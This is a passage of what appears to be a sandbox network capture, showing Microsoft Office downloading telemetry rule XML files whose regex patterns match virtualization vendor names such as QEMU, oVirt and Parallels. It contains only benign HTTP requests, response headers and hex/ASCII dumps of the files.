<C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:12 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:12 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061512Z-16849878b785dznd7xpawq9gcn0000000afg00000000dekf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:12 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:13 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:13 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:13 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061513Z-16849878b78wv88bk51myq5vxc00000009eg000000005ssw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:13 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:13 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:13 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 1048e377-301e-0000-11d0-2aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061513Z-159b85dff8f7lrfphC1DFWfw0800000001100000000026xb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:13 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:13 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:13 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 4fe48f14-f01e-005d-23b7-2a13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061513Z-159b85dff8flqhxthC1DFWsvrs000000013g000000002x3m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:13 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:13 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:13 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061513Z-16849878b78bcpfn2qf7sm6hsn0000000ap000000000k7yn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:13 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:13 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:13 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:13 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d24b0423-701e-0098-2b81-2a395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061513Z-17c5cb586f62vrfquq10qybcuw000000026g000000001vgk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:13 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:14 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:14 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 4e972348-801e-00ac-276d-28fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061514Z-15b8d89586fxdh48ft0acdbg44000000031g000000000u92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:14 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:14 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5ef35a72-501e-007b-6836-285ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061514Z-15b8d89586f4zwgbgswvrvz4vs0000000am0000000005vzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:14 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 151676fb-b01e-0084-4068-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061514Z-15b8d89586fcvr6p5956n5d0rc0000000f7000000000c0dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:14 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:14 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: b357c660-c01e-008e-6e16-297381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061514Z-15b8d89586fst84kttks1s2css00000002wg0000000026yk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:14 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:14 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:14 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061514Z-17c5cb586f67hfgj2durhqcxk80000000850000000002fx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:14 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:15 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:15 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:15 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: bde7aa86-f01e-0052-08e5-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061515Z-17c5cb586f62vrfquq10qybcuw000000026g000000001vmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:15 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data 